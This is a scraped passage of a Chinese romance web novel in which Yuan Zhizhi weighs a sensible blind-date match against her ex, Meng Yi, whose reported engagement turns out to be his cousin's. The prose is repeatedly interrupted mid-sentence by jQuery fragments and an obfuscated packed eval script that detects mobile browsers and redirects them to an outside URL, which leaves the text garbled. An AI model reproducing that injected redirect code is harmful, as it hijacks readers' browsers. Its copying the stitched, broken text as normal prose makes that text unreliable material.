$(''.inform'').remove(); $(''#content'').append('' 计人都要惊讶你怎么到现在都还要找他看坏牙齿。” 元知知嘟嘟哝哝抱怨着:“还不是你给了我一口坏牙齿的基因。” 张女士手上一重,成功让女儿闭上了嘴。 元知知抬手摸了摸自己的脸侧,孟懿给她补过的那颗牙齿这几天又开始剧烈的酸痛起来,一到了晚上就疼得她连觉也睡不好,忍了几天实在没办法,她终于还是向牙科诊所屈服了。 她也并非没有想过问问孟懿,但再好的医生脱离了面诊也总是巧妇难为无米之炊,何况他最近恐怕也不轻松。 想起已经好几天没有出现在聊天界面的那个头像,元知知抿了抿唇,终是没忍住又一次打开了财经新闻细细浏览。 张女士约的医生是私人牙科诊所的医生,是以她下了班后没有等待多久就直接被引进了诊室。熟悉的医生见了面免不了调侃几句,但也是真心希望自己的病人能够好,拿着她的牙片研究了半天,最终又让人带她去重新拍了个片子。 即使已经二十好几岁的人了,但面对着从小就给她拔牙的医生时她还是免不了的紧张,捏着手指小心问道:“怎么样李医生,这颗牙有什么问题吗?” “之前是深龋补起来的对吧?” “嗯。” “你看这牙根处的阴影已经坏到神经了,这颗牙基本上很难保住,还是得杀髓做根管。” “既然这样,”元知知情绪莫名有些颓丧,舌尖碰了碰这颗牙的牙缝,“那就做吧。” 跟诊的小护士双手托着消过毒的托盘走进了诊室,一边熟练的摆放器具一边和医生搭着话聊起刚刚看见的新闻:“听说孟氏集团的公子要和一个什么医药企业的千金结婚了,因为这事儿推进的急就连订婚宴都取消了,说是到时候直接办婚礼。” “我知道那家医疗器械企业,我们诊所今年更新的机器都是从他们公司引进的,就是不知道这少爷小姐们的婚姻是爱情还是生意了。” “孟氏集团的公子?”元知知躺在诊床上,终于趁着医生转身拿吸唾器时舔了舔干涩的唇:“是哪一个公子?” “我看新闻上说孟董事长不是就一个儿子吗,好像就是那个吧,平常很低调,没想到一爆新闻就直接爆了个婚讯出来。” 孟氏集团董事长的独子,除了孟懿再没有别人。 很难形容这一瞬间是什么样的感觉,元知知只觉得突然能感受到心脏的重量,正在一寸一寸的沉到谷底。 补牙实在是太疼了,感受着那颗被补过的牙齿重新被钻开的感觉,她眼角被疼出了几滴泪花。 杀髓的药被塞入牙齿内,再过一周这颗牙的牙神经就会被彻底杀死,孟懿说过想要尽力保住的牙齿最终还是没有能保住。 45. 第 45 章 一连好几天各大八卦新闻周刊都在报道这场豪门之间的联姻,各种猜测层出不穷,但无论细节如何被虚构,这场众所周知的婚姻却是既定的事实。 元知知所在行业本身就需要常常关注财经新闻,而连着三天在不同的权威平台看到了相似内容以后饶是她也不得不确信这个消息的真实性。 指尖下的屏幕闪着微微蓝光,不知道是第多少次打出了询问的话,鲜明的绿色发送键像是讨人厌的蔬菜一样,让人迟迟不敢触碰。 孟懿离开海河市后几乎每天都和她保持着联系,从什么时候开始两人渐渐没有往来了? 好像就是从联姻消息从小报上流传出来时,现在的他大概正忙着备婚。 元知知有些懊恼,她分明一早就察觉到了危险的信号,可还是任由孟懿一步步的靠近她。清醒的看着自己沉沦下去,明明十八岁时还有着告别的勇气和再也不见的决心,二十八岁却只余无法自抑的渴望与迟疑的心软。 到底什么样的选择是正确的? 她也迟疑过很长一段时间,每每收到孟懿的消息时怦怦直跳的心脏或许曾给过她错误的答案,但最终正确的答案却是由这条直冲面门的婚讯告诉她的。 十八岁的元知知做出了最正确的选择,他们的确不是合适的人,她本就一直在向前走,为什么又要因为这短短几个月的重逢再度停下脚步呢。 她自觉自己想通了,干脆的删掉了孟懿的微信,连带着这几个月来所有他们俩人间的痕迹也被删了个干净。 她的生活也该回到正轨上来了。 深吸一口气,元知知翻开了人事那边送来的简历,月底职位变动通知应该也就下来了,作为经理她也有了招纳新人的权限。 “知知?你还好吧?” 元知知翻着纸张的手一顿,一转头正对上章汝舟明显小心翼翼的脸:“怎么了?我挺好的呀。” 陆昱两指夹着黑色签字笔重重点了点她手上的一沓简历:“怎么了?别给我说你在专心致志挑人家简历啊,拿反了都不知道?” 她低头一看,简历上一寸免冠照里的人正头朝下对着她:“大概是天气太热了,热的人头昏了吧。” “别唬人,老实交代是不是发生什么事了?我看你今天这状态很不对劲啊。” 陆昱嗤笑:“何止是今天,你之前是不在没看到,她这样都好几天了,要我说要么就是分手了要么就是被分手了,这样子我一看就是情伤啊。” 章汝舟前段时间已经提交了离职信,今天回所里来走程序,瞧着时间还早就下楼来和昔日同事们聊聊天打发时间,小一个月没见到人,一见面就被元知知吓了一跳。 “别听陆哥瞎说,你悄悄给我说是不是遇到什么事情了,看看有没有我能帮上忙的地方。” 元知知拢起了从脖颈处垂下的头发,心下有些烦躁,但面上仍然一派轻松:“能有什么事,最多也就是被甲方烦的想犯法而已。” 章汝舟没再追问,但表情明显也并不相信她的解释。 元知知摆正了面前的简历,重新开始翻看起来,这一次她没有再走神了。 手上没有要紧的项目因此他们也能在六点准时下班,陆昱还有和客户的局赶着离开,最后一同去寻觅吃食的又只剩元知知和章汝舟两人。 “只有我们俩人了,现在可以说是什么事了吧?” “很明显?” “废话,你要拿个镜子照照你自己大概就能发现你有多反常了。” 元知知苦笑一下,总觉得这以往她最享受的夏天如今变成了只能折磨人的酷暑,本以为她已经恢复常态了,也以为她的生活并未受到一丝一毫的影响,原来他带给她的影响却比她所以为的要深得多。 “元小姐?” “你是刚下班来吃饭?” “林先生。” 自从林鹤之把话给说开以后他们二人间的关系就变得有些尴尬,两家住得近父辈又在一起工作,难免会有遇上的时候,每每碰面无论是称呼还是态度他们都规矩的回到了最开始刚认识时的客气状态。 她没想到在事务所附近也能刚好碰见他:“你一个人来的?” “不是,我约了朋友在这里见面,你们慢慢吃,我就先不打扰了。” 本以为只是一次再偶然不过的碰面,没想到她们结账离开时却被前台告知她们桌的单已经买了:“是一位先生买的。” “哪一位?” 前台一脸为难,元知知了然:“他不让你们告诉我?那我直接问你好了,是36号桌的客人?”、 仍是沉默,但表情已经给了她回答。 “那麻烦把36号桌的账单给我结一下吧。” “不好意思女士,36号桌的那位客人也已经结过了。” - 章汝舟站在路边拦出租车,车到了元知知却没动:“你先回家吧,我还有点事儿晚点自己回去。” “要找刚刚那个男人?” 她斜睨了她一眼,她忙不迭的拉开车门坐了进去,扬长而去前摇下车窗对她夸张的做着口型:加油,拿下他! 元知知失笑,懒懒靠在店门前百无聊赖刷着手机。 林鹤之出门的时候险些没注意到她,还是她唤了一声他的名字后才惊讶的循着声源看向她:“在等我?” “不是等你还能等谁?” 男人温雅的嗓音里挤满了歉意:“你该给我打个电话的,等很久了吧,你开车了吗?我送你回去?” “不用了,我车就停在地下车库。” “哦。”这一次尾音带些遗憾的味道,林鹤之很直白的把自己的情绪平铺在她的面前。 “我把晚餐钱转你了,记得收一下。” “何必这么见外。” “吃人嘴短拿人手短,怕欠了你的下次我不好意思直接拒绝你了。” “我还什么都没说呢你就想着拒绝我了?” 元知知眨眼:“我这个就叫风险防范。” 林鹤之笑起来时也是温和的,像是一串悦耳流畅的提琴音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445649|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符,他陪她走到了地下室。 “我听说孟懿,是叫孟懿吧,订婚了?” 她停住了脚步,侧头上上下下打量他,对于他知道孟懿的家庭出身这事儿她并不怎么意外,只是:“我以为你一个天天快住在研究室的人没有闲心关注这些八卦新闻?” “铺天盖地的新闻我就是想忽视也难,何况还是认识的人。” “元小姐,我之前跟你说过的话,或许你现在可以好好考虑下了。” 元知知细白的指节微曲,林鹤之的确是一个再完美不过的结婚对象。家境良好、人品过关、工作体面,就连相貌也挑不出什么差来。 她很清楚只要能把他带回家,父母的心头大事还真的能落下一件。想起各大新闻平台争先报道的婚讯,她的呼吸乱了一瞬,原来还停留在曾经的人还真的只有她一个。 林鹤之摁响了自己的车钥匙:“这一次你可以不着急回答我,比起当下就得到的拒绝,我更喜欢等待。” “开车回家的时候慢一点,我也先走了。” “林鹤之,”元知知三两步追上他,“我仔细考虑过了,自私一点来说这的确是一个对我来说很有利的提议。” 男人动作极小的歪了歪头:“后面还跟着一个但是吧?” “你这样接话让我可都没法说了。” “好了好了,我错了,说吧。” “但是你应该也看出来了,我.......” 嗓子又一次干涩起来,元知知清咳了两声,却还是不知道该怎么解释,林鹤之倒是比当事人更坦然:“我当然看出来了,你和孟懿应该不是什么普通的高中同学关系?即使是现在他对你来说也还是很特别对吗?” 她双手环胸,指尖有一下没一下的打在肘关节上方瓷白的肌肤上,带着独特的节奏感,从紧绷到松弛:“奇了怪了,我爸怎么会说你在学校不通人情世故只知道搞研究,我看你这不是挺能洞悉人心的嘛。” 林鹤之有些傲气道:“任何事对我来说都只有我想做和不想做的区别,在学校只是懒得应付那些老古板而已。” “既然你很清楚我如今的感情状况,对于我们要不要以相亲对象的身份深入了解交往,现在选择权交到你的手上了。这样才足够公平。” 男人闻言微叹了口气:“你还是太理智了,在感情里是从来没有什么公平可言才对。”、 元知知微愣,好在林鹤之很快便嘴角上挑道:“没关系,你迟早会愿意抛开理智和我谈论感情。” “希望你一直这么自信。” “还看你愿不愿意给我这个自信了。” 两人尴尬的关系就这样破了冰还朝着男女关系更前进了一步,林鹤之本想送她回家,奈何两人第二天都需要用车,谁也没法把车子丢在这儿的车库里,最终只得一前一后各自驶向了同一个住宅区。 这一头章汝舟在饭店前和元知知分开后不久就接到了一通意想不到的电话,甫一接通就听见孟懿焦急的声音响起:“我联系不上元知知了。” 46. 第 46 章 孟懿这段时间被孟家的事缠得脱不开身,叔伯兄弟都要一一应付,而他的父亲则是最难应付过去的那一个。离了孟家的大门后外面听风是雨的逐利者们又争先恐后一拥而上贴这个孟家继承人的冷脸. 此外医院早已排好了他的班,作为新一代口腔新秀,他手上排下的几台手术算不得少,就连实验室科研进度都不得不因此暂停。 同事们见了孟医生都开始下意识的噤声,生人勿扰的气息让谁也不敢主动招惹他,待到一切都勉强算是尘埃落定的时候,孟懿才敢联系元知知。 怕她察觉到他的异常忙碌、怕她嘴上不说实际上把担心闷在心里,孟懿已经有些时候没有和她频繁联系了。最多也就是午休的间隙打个几分钟的电话,但那也是元知知的午休时间,电话听筒里隔着电流声也能听得出她的倦意,久而久之的他也没有再在这个时间和她打过电话了。 已经很久没有听到她的声音了。 孟懿打开通话记录,竟然往下翻划了好几页才找到他们上次的通话记录,仅仅一分多钟。 他重新点开拨号界面,轻车熟路摁下了那串他倒背如流的数字。打了三次,每一次都是正在通话中,他终于察觉到一些不对劲了。 很快孟懿就发现他发给她的微信消息冒出了一个个的红色感叹号,不止是微信,就连支付宝这类非主要社交软件的账户也都已经被她拉黑了。 一瞬间巨大的恐慌如铺天盖地的海浪席卷而来,把他湮没在其中,轻飘飘的空气沉重的像是千钧重。 他们分隔两地,时代的便利让他们很难意识到两人间实际上的距离到底远到什么程度,然而脱离了卫星与网络通信时想要简单的听一听对方的声音也变成了一件奢侈的事情。 元知知单方面把他拉黑了,一个人想要对另一个人断联原来是一件很简单的事情。 “喂?给我订一张去海河市的票,不管是机票还是车票,到达时间越早越好。” - “今天这家店怎么样?还合你口味吗?” “还不错,看来你百忙之余是有好好做过功课的。” “上次你没吃几口我就记住你有多挑食了,好在这一次我找的店合格了吧。” 元知知眉眼上挑,嗔了林鹤之一眼:“别人都说我吃饭最不挑食,总是吃的很香的好吧?怎么到了你这儿我倒成了挑食的了。” 林鹤之敏锐的抓住了关键词:“哪个别人说的?” “就是——” 是孟懿说的,高中食堂难吃,班上同学或多或少都要偷偷点外卖自己加餐,元知知倒是一日三餐在食堂顿顿不落的,从没见过点什么校外外卖。 后来她犯了胃病,孟懿开始自己学做饭给她开小灶,他做出来的比食堂更难吃,但她还是能挑挑拣拣吃上几口。孟懿总说她是他见过最不挑食的了,似乎什么都能吃得很香。 她没告诉他的是高中那会儿她总在宿舍和室友一起偷偷吃速食小火锅,隔三岔五吃一顿,不管是学校食堂还是他做的饭她都只是象征性的吃上那么一两口。 想起过往滑稽又可爱的记忆片段,元知知唇角不自觉上扬,是少见的温软。 林鹤之观察着她的神色,也认真起来,试探道:“还没告诉我是谁说你不挑食给了你自信的呢?” 元知知回过神来,夹了一筷子菜,是她不喜欢吃的,她不动声色的埋在了饭底:“没谁,就以前高中同学。” “饭也吃得差不多了,我去结账。” 他抬手拦住她:“我去结。” “上次就是你请的,这次也该我了。” 林鹤之欲言又止,终究还是收回了手,即使他们已经在为关系进一步发展而互相了解的阶段了,然而元知知却始终守着一条客气又礼貌的界限,与他相处时比起说是对待朋友的态度,不如说是对待一个刚认识没多久的陌生人。 然而她自己却没有意识到这一点,即使知道不应该,他还是不由自主开始想象起她如果和孟懿在一起时会是什么样子。 元知知和林鹤之道过别以后微松了口气,这些时日以交往为前提和他深入了解后,两人间的相处反倒没有之前那么轻松自在。她很清楚问题不在他,而在于她自己心里的别扭。 张女士和元教授都很乐于见到她和知根知底的林鹤之交往,就连章汝舟也看好他们,但她心里总归是觉得他们其实是不合适的。 就连把他当朋友相处都会感到不如以往自然。 车子就停在路边,她走近两步,一双琉璃目微微睁大,然后整个人顿在了原地。 迟疑片刻,元知知摁亮了她的后视镜提示灯,倚靠在车门上的男人抬起了头。 这的确是她的车,她没有认错。 倚在车门前的人的确是那个人,她也没有认错。 孟懿停下了把玩着车钥匙的手,凝神看着她,目光一寸一寸贪婪地扫过她脸庞的每一寸肌肤,仿佛错过一眼就会是一辈子。 最后他们的目光相撞,她望进了他深邃的眸子里,却像是浸了墨一般让人看不到底。 但在这浓郁的墨色风暴中,还缱绻着几分她能轻而易举察觉的温柔。 元知知喉咙喑哑:“你怎么......来了?” 孟懿冷笑:“所有联系方式都拉黑,你的朋友也避我不及,我不来这里,又要怎么才找得到你?” “没什么事的话我要先回家了,你也赶紧找个地方休息吧。” 她欲从车头处绕开他,但被一把钳住了手腕,他这样做过很多次,但没有一次是像这一次一样让她感觉到了腕骨处尖锐的疼痛。 “放手。” 孟懿没有动作。 “痛。” 孟懿松了手劲,只是略略环住了她,这是一个元知知可以随意挣脱开的力道。 她甩开他开了车门锁往主驾驶走去,“砰”的一声,是副驾驶门关上的动静。 孟懿已经安然坐在了副驾驶位上系着安全带,她半俯下身子看着他:“你做什么?” 男人理直气壮道:“飞机到的海河市,没车。” 她刚刚分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482408|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到他手上捏着把雷克萨斯的车钥匙,而这辆雷克萨斯LS此刻就停在旁边的车位上。 元知知深呼吸两次,刻意做出严肃的表情时有些冷然,但精致的五官却在冷脸下显得更加靡丽:“下来,我给你打车。” 孟懿没有言语,只留给她一个不为所动的侧脸,优越的鼻骨此刻看来显得有些锋利,一如他们过去冷战的时候,两个人都冷着一张臭脸僵持着。 但最后率先服软的总是孟懿,这一次也不例外。 他的声音听起来有些疲惫:“没买到最近的机票和高铁票,我开了八个多小时车过来,还没好好休息过,再继续就是疲劳驾驶了。” 即使知道他在搞苦肉计这一套,元知知还是不由自主的软了心肠,毕竟......不能真让人疲劳驾驶吧。 自觉不能放任这个危险因素到马路上的元知知没再说什么,她坐进驾驶位发动了汽车:“到哪里?给我一个位置。” 孟懿睨她一眼:“你把我拉黑了,发不过去位置。” 握着方向盘的手紧了紧,她咬着牙,嗓音还是轻飘飘的:“直接给我说是哪个位置。” “人民南路。” 元知知开了导航,整个车内一时间只剩下导航里传来的机械女音。 “刚刚是在和谁吃饭?” “你不是看见了吗?” 孟懿有些牙酸:“只有你们两个人?” “你跟他很熟吗?都开始私下单独吃饭了?” 元知知嘴角微动:“父母介绍的相亲对象,你说熟不熟?” “是吗?”孟懿玩笑着,声音里藏着一丝刻意掩饰情绪后的不自然:“那看来是不可能了,你可不是会听父母安排的人。” “那可不一定。” 他怔愣,随后若无其事问道:“什么意思?” 她语速缓慢,吐字清晰,每一个字都像刀子一样刺进身旁人的耳里:“我们现在是在以相亲对象的身份互相了解接触,以后或许会是交往对象。” 甚至是结婚对象,孟懿很清楚她未尽的言语代表着什么。 “别拿自己的婚姻大事开玩笑。” 十字路口车辆川流不息,他们短暂的停留在车流中,像是繁忙之中唯独他们二人的时间被按下了暂停键。 她转头看他,认真道:“我没有开玩笑,林先生提出来我们很适合组建一个家庭,无论是家庭还是个人我们的条件都很合适,我想了很久,他说的没错。” “我已经答应了他可以试着了解看看。” 她过浅的眼眸如一泓清泉倒映着熠熠生辉的太阳光,分明闪耀着再温暖不过的日光,孟懿却只觉得如被幽冷的黑夜注视着,心跌到了谷底。 下颌线紧紧绷着,瞳仁中的情绪翻涌最终又被表面的平静掩下,他下意识取出一支烟,火机清脆的打火声响起时他又挪开了烟头。 最终这支烟也没有被点燃,被夹在主人的两指间,随着车辆的走走停停晃动。 元知知听见孟懿说:“你们可以试试,我拭目以待。” 47. 第 47 章 车子停在了孟懿所说的位置才发现这个地方根本没有什么酒店,而孟懿也毫不遮掩的承认了自己压根就没有提前订酒店。 “你这不是在耽误我的时间?” “我们需要这个时间。” 元知知重新打燃了火,马达轰鸣声被缓缓升起的车窗关在了外面,她疑惑的看向孟懿。 “你都要跟别人去相亲了,总舍得告诉我当初为什么一定要分手了吧?” “我已经说过很多次现在再提没有意义。” “但你总是什么都不说!”孟懿刚才的平静面具顷刻间破裂,此刻他真实而压抑的情绪好似猛然爆发出来,连嘴唇都开始极轻的抖动起来,但他的声音还是和一开始如出一辙的冷漠:“你什么都不说,我们之间的问题永远没法解决。” 元知知扯了扯唇角:“现在还有什么解决的必要吗?” 孟懿冷笑着阴阳怪气道:“怎么?找到了合适的结婚对象,就连和前任多说一句话都吝啬了都是没必要的事情了。” “这句话同样送给你,既然已经有了合适的结婚对象了,最好还是不要再和前任牵牵扯扯。” 男人深幽的瞳仁骤然扫过来,像蛰伏的野兽藏不住的锐利与狠辣:“什么意思?” 元知知见她事到如今还要装傻,冷笑一声:“孟大医生,孟大少爷,你的婚讯已经铺天盖地了,如今还来问我什么意思,当我是傻子?” 孟懿蹙眉,面部的线条略显得有些冷硬,他思索良久,最终试探着问道:“你是说......兴业科技的吴小姐?” 元知知双手搭在方向盘上,面色冷峻的操控着车辆。 他似是极为不解:“你怎么会觉得我跟她有什么,你从哪里得到的消息?” “呲———”车子猛地在路边刹住了,两人都被惯性甩的前倾又被安全带拉回。 孟懿刚一回过神一部手机就径直被递到了他的眼前,上面的新闻标题字号被媒体调的很大,让人一瞬间就能接收完所有信息。 他愣住了,表情瞬间凝固起来,再抬头时墨色的眼底泛出些不解和不易察觉的惊慌失措,看起来倒是比元知知初初得知这个消息时显得还要震惊些。 “不,这是假的,知知你听我说。” “和兴业科技联姻的的确是孟家这一代的男人,但不是我。” 孟懿对待一切都总是胜券在握、得心应手的,即使面对着从童年期就如同仇人般的母亲他也早已能做到心无波澜,很少有人见过他失态的样子,哪怕是已经很亲近的李杭和陈骏驰。 现在的孟懿着急解释的模样若是随便叫一个知道他的人来恐怕也只有大惊失色这一种反应,元知知波澜不兴的看着他,因为色浅总显得温煦的眼眸一派沉静。 孟懿很早就知道了孟老董事长是什么打算,用他的婚姻作为一石二鸟的筹码,一来扶持公司转型、二来也是传统大家庭里年华渐逝的大家长试图用掌控子女婚姻来彰显自己权威的方式。 可惜他打错了主意,孟懿早就不是那个任他掌控的少年了,从他不顾他的意愿拒绝了国外的offer留在国内学医开始他就应该意识到。可惜孟老董事长还是太过自大,即使察觉到苗头也蔑视的从不将自己儿子的反抗放在眼里。 没想到这一次直接被他摆了一道,未来亲家双方的私下家宴中,订婚的人竟然从孟懿变成了孟荣,一个他根本不记得是他哪个堂表兄弟儿子的人,而这件事他竟然是整个宴席上最后一个知晓的。 那场宴会至今还让许多旁支人心有余悸,这富贵不是谁都有勇气去接的,更不是谁都能接得住的。但宴席结束,尘埃落定,这场父子间的硝烟最后的赢家是孟懿。 但事情并非只是转嫁一桩联姻这么简单,后续牵涉到公司股权、管理层变动、业务洗牌的事情桩桩件件接踵而至。 孟老董事长彻底放弃了控制自己儿子作为接班人的打算,没过两日重新挑中了个孟家的青年让他住进了主家。他有意无意的透露着对这个青年的中意,孟懿则扶持孟荣。 父子俩竟然又一次打起了擂台,这一次是以纯粹的商业竞争方式,就连那一层虚假的父子情谊也彻底撕破。 孟懿昨天刚刚攻克一个自他父亲进公司就跟着的大股东,这才得以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508867|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喘息两日,却又发现自己已经联系不上元知知了。 元知知很清楚像他们这样的家庭婚姻就不仅仅是婚姻了,但这背后会牵扯出的关系网比她想象中更为麻烦,她轻轻呼出一口气:“所以网上盛传的联姻主角其实是你的堂兄。” 孟懿小心翼翼的观察着她的脸色,本是随意搭在腿上的手已经无意识的攥了起来,骨节用力到泛白,听到她的问话后整个人陡然一松,随即苦笑道:“是,是孟荣,我没想到我爸竟然还在这上面摆了我一道。” 这一招不可谓不损,伤敌一千自损八百,最后丧失的商业信誉都是孟家来承担。孟老董事长这次许是真的被气糊涂了,冲动之下这才出此下策。 孟懿有些自责,这件事情他本来有许多次机会可以知道的,但他对待其他人并没有这样的好脾性,对这类八卦新闻更是避之不及,每每谈及这类事情他都会不耐的打断,久而久之身边的人也就默认他已经清楚了情况。 他本来有很多次机会可以避免这样的事情发酵,一想到在他们没有联系的日子里元知知猛然得知这样的消息,孟懿整颗心像是被什么东西狠狠扼住了一般,尖锐的慌乱在心房游走,灼烧着他整个人。 那个时候元知知是什么样的心情?他不敢想,不敢想她有多失望,更不敢想她有多伤心。 “抱歉,知知,这次是我没能处理好,以后再也不会有这种情况发生了,对不起。” 他慌乱的伸出无措的手轻轻抚在她的脸上,他的手还带着奔波的凉气,她的脸却比他温度更低。 像是两块儿冰块紧紧贴在一起,竟然还从肌肤相贴之处感受到了一丝热意。 元知知没有拉开他的手,任由他这样亲昵的碰着她:“你这段时间也......辛苦了。” 像是获得了什么奖励一样,孟懿一双眸子亮晶晶的:“知知。” “我现在送你去酒店,你明天就回华清市吧。” 男人愣住了,一张薄唇抿了抿,正欲开口便被一只纤长细白的手指抵住了。 元知知面色认真:“明天我就不送你了,以后也不要再来了。” 48. 第 48 章 避开孟懿透出冷意的目光,元知知收回了搭在他唇上的手。 “我们之间......误会不是已经说清楚了?” 元知知脊背有些发僵,她悄悄转动一二,眸光清浅无波:“但我们还是不合适,不说你的家庭是否会接纳我,单单是这件事,我就已经感觉到了疲惫。” “十年前我就已经很熟悉这样的疲惫了,你总是自己一个人做了所有决定,即使......即使那个决定和我有关。” 孟懿凌厉的面容不知什么时候已经软化,他感受着自己心脏剧烈而不安的跳动:“知知——” “到今天我们也都该看清楚了,我总是不说你也总是把事情闷在心里,我们之间的问题你有责任,我又何尝不是。可这些都已经成了无解的命题,孟懿,回去华清市吧。” 夜晚郊区的大街上没有太多车辆,最近的酒店只有5公里,元知知操纵着电子屏幕调出了导航,不到十分钟他们就已经停在了酒店大门前。 她解锁了车门,要他离开的意思已经很明确了。 解开安全带的闷响声没有如她预期的那样出现,她侧首,在看到孟懿眼睛的那一刹那心脏惊跳起来。 酒店大楼明亮的灯光混合着幽暗的路灯打进车里,孟懿的脸一半隐藏在黑暗里,一半暴露在灯光下,布满血丝的眼眸在此刻装满了她的身影。 像从地狱爬起来的恶鬼,又像是已经盯上目标已经准备出击的嗜血野兽。 元知知搭在方向盘上的手指尖轻颤,比起对他这幅陌生模样的恐惧,更多的是复杂难言的心酸滋味。 他们怎么会走到这一步,他们怎么就走到了这一步。 然而外表的凌厉与凶狠却在男人开口的一瞬间彻底破灭,浑身锐气烟消云散,向来蛊惑人心的嗓音此刻苦涩的快要滴出水来:“怎么会是无解,我们之间从来不是无解。” 颤抖的声音有些模糊,但像是怕她不肯相信般语气无比坚定。元知知从中听出了强行咽下的哭腔,她不可置信的重新将目光放在他的脸上。 猩红的眼睛已经不复刚才的可怖,藏在深处的全是无比的颓丧与极致的悲哀,眼角,眼角甚至还有她无法判断是什么的莹润。 他在哭?孟懿这样不可一世从不轻易低头的人......竟然在哭? 这一刻她感觉有什么东西轻轻的敲在了她的心口上,力道不重,但正中最柔软脆弱的地方。整颗心蓦地一恸,她慌忙垂下眼帘,遮住了闪烁到连自己也无法掌控的神色。 “无论是曾经还是现在,我们之间的问题始终横亘在原地,别天真了,我们没法解决的。” “只是你不愿意去解决,”他的嘴唇轻轻蠕动,满怀无尽的乞求,“你不愿意做什么也没关系,你什么都不需要解决,我会努力,我们之间的问题都会过去,知知,能不能再试一次。” “可是我累了。” 孟懿眼睛变得比刚才更红了一些,周遭的空气被沉寂包裹着,车中狭小的空间彻底死寂下来。 时针跨越一格,车外的天色似乎黑得更浓郁了一些,困意在这个时候突然袭击,元知知掩嘴打了一个小小的哈欠,眼角被挤出了生理性的泪珠。 孟懿终于动了,他打开了车门,只留侧转身子的大半个背影给了她。 “孟懿。” 人影停顿。 “你为什么不肯娶那个家里安排的女人?你明明知道,如果娶了她你就不需要扶持另一个难以掌控的人上位,你自己就会成为掌权者。” “因为我爱你,始终爱你。” 元知知呼吸猛地一滞,重新把脸藏进了阴影里,让他看不见她的情绪,连同她自己也难以辨明此刻是何感受了。 比起更合常理的喜悦与心动,她心头压着的是让人喘不过气的沉重。 好半晌后她才听见自己滞涩的声音:“你有没有考虑过那真的是爱吗?抑或只是这么多年后猛然重逢的执念而已。你条件优渥,本就很少经历没法把一切掌控在自己手里的感觉,你现在的感受或许只是没能掌控住这段感情的不甘带来的错觉。” 孟懿拉住车门把手的手骤然一紧,手背上青筋暴起,脸色显得有些难看,但面对着她仍在极力克制:“我很清楚我自己的感情,更清楚我在做什么。你可以质疑我的一切,但唯独这一点你不应该。” 车门被关上,他大步走近了酒店里,背影也渐渐消失在她的视线中。 - 元知知第二天起来的晚了些,赶到事务所的时候熟悉的同事都已经到齐了大半。 随着这个夏天接近尾声,休假或出外勤的同事们都陆陆续续回到了岗位开始为下一年的年审做准备,不少人面有菜色,显然没有做好接下来奋战几个月不能好好睡一觉的准备。 陆昱凑过来:“听说下班后有约会?” 现在他们已经不是上下级关系了,聊起天来也少了许多顾及,此刻更像是朋友间的打趣。 她睨他一眼:“章汝舟还真是个大嘴巴。” “听她说对方还不错,但你怎么,”说到这他上下打量她一眼,“搞得这么素净就来了?” 元知知奇怪的打开手机摄像头看了看,屏幕里的人不施粉黛,但精致的五官与白皙的肌肤相互映衬,倒显得出水芙蓉一般清丽:“怎么了?有什么问题吗?” “上班肯定没问题,可那不是约会吗?我看咱们所那些小姑娘有约会的时候什么假睫毛眼线都是一应俱全的,你不弄弄?” “有什么好弄的。” 陆昱的眼神瞬间变得了然:“你应该没有多喜欢对方吧。” 一旁另一个女经理凑过来挑了挑眉:“咱都不是十六岁的小姑娘了,肯定要先把对方的条件了解清楚觉得合适才谈情情爱爱这种东西啊,这才是现实,陆经理你们男人不是把这些算得最清楚了吗?怎么你还这么天真。” 陆昱欲要反驳,又发现的确没什么好反驳的,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533754|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能讪讪闭嘴。 元知知若有所思:“陆哥说得也对,那我下班的时候补个口红再去吧。” “哈?这和你上班又有什么区别?” “区别就在于平常下班我连口红都懒得补了直接回家。” 女经理被逗乐,瞬间笑了起来,陆昱吃瘪后彻底闭上了嘴。 林鹤之的车很低调,常年穿梭于校园,元知知上车前瞥了一眼,车后座堆了好几本大部头著作,是无法一眼辨认出的英文专业词汇;车前窗的控制台上还散放着几份会议资料。 “抱歉车里有点乱,下课的时候被学生留住问了几个问题,过来得急没来得及收拾。” 